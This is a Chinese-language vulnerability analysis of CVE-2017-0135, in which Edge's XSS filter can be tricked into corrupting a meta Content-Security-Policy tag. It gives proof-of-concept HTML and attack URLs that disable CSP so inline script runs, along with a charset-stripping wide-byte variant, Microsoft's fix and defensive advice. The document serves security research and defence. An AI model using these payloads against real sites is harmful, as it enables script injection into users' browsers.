CVE-2017-0135漏洞分析:利用Edge浏览器的XSS过滤器绕过CSP
字数 1407 2025-08-18 11:37:07
Edge浏览器XSS过滤器绕过CSP漏洞分析(CVE-2017-0135)
漏洞概述
CVE-2017-0135是Microsoft Edge浏览器中的一个安全漏洞,允许攻击者利用浏览器的XSS过滤器缺陷绕过内容安全策略(CSP)保护。该漏洞由研究人员tocttou发现并于2016年底报告给微软,在2017年3月的MS17-007安全更新中修复。
技术背景
浏览器XSS过滤器
-
起源于IE 8,用于防范反射型XSS攻击
-
工作原理:
- 检查GET/POST参数中是否可能含有XSS代码(使用复杂正则匹配)
- 如果匹配成功,搜索该参数值是否出现在服务器返回的HTML中
- 如果出现,则判定为XSS攻击
-
两种工作模式:
- 屏蔽整个页面(通过
X-XSS-Protection: 1; mode=block启用) - 尝试修复XSS(默认模式)
- 屏蔽整个页面(通过
XSS过滤器的修复机制
当检测到反射型XSS时,Edge/IE会尝试通过修改HTML来"修复"漏洞:
- 在可疑标签中插入
#字符(如将<script>改为<sc#ipt>) - 同样适用于
embed、iframe、object、meta等标签
漏洞原理
基本利用方式
攻击者可以利用XSS过滤器的误报机制,使浏览器错误地修改合法标签:
- 当页面包含
<meta http-equiv="Content-Security-Policy">标签时 - 攻击者构造URL参数包含相同内容(如
?<meta http-equiv="Content-Security-Policy"...>) - 浏览器误判为反射型XSS,尝试"修复"meta标签
- 修复后的meta标签失效(如
<me#a...>),导致CSP策略被绕过
PoC示例
原始HTML(启用CSP):
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
<script>alert(document.domain);</script>
</body>
</html>
攻击URL:
http://example.com/xss.html?%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20'self'%22%3E
结果:
- 浏览器将meta标签修改为
<me#a...> - CSP策略失效,内联脚本得以执行
其他潜在利用方式
宽字节编码XSS
通过破坏<meta charset>标签可能导致编码解析错误:
- 页面使用GB2312编码,包含特殊字符
- 攻击使浏览器移除charset声明
- 浏览器错误解析编码,可能导致XSS
示例:
<!DOCTYPE html>
<html>
<head>
<meta charset="gb2312">
<title>CSP Test</title>
</head>
<body>
<script>
var a = "峔峔\";alert(1);//";
</script>
</body>
</html>
攻击URL:
xss.html?<meta charset="gb2312">
潜在效果:
- "峔峔"的GB2312编码为
8D 5C - 5C在ASCII中是反斜线,可能导致字符串转义失效
- 可能执行alert(1)
修复方案
微软的修复措施:
- 不再尝试自动修复疑似XSS
- 强制屏蔽整个页面(无论服务器是否设置block模式)
防御建议
-
配置XSS过滤器:
- 使用
X-XSS-Protection: 1; mode=block模式 - 或完全禁用:
X-XSS-Protection: 0
- 使用
-
CSP实施最佳实践:
- 优先使用HTTP头设置CSP策略
- 仅在无法控制HTTP头时使用meta标签
-
编码声明:
- 确保正确设置字符编码
- 考虑在HTTP头中设置编码
研究意义
此漏洞展示了:
- 安全机制间的意外交互可能导致新的漏洞
- XSS过滤器作为复杂系统,存在潜在攻击面
- 自动修复机制可能引入新的安全问题
参考资料
- IE 8 XSS过滤器工作原理
- X-XSS-Protection头字段规范
- Abusing Internet Explorer 8's XSS Filters
- 宽字节编码安全问题研究
注:本文基于原始研究文档整理,关键技术和概念已完整保留,无关描述已去除。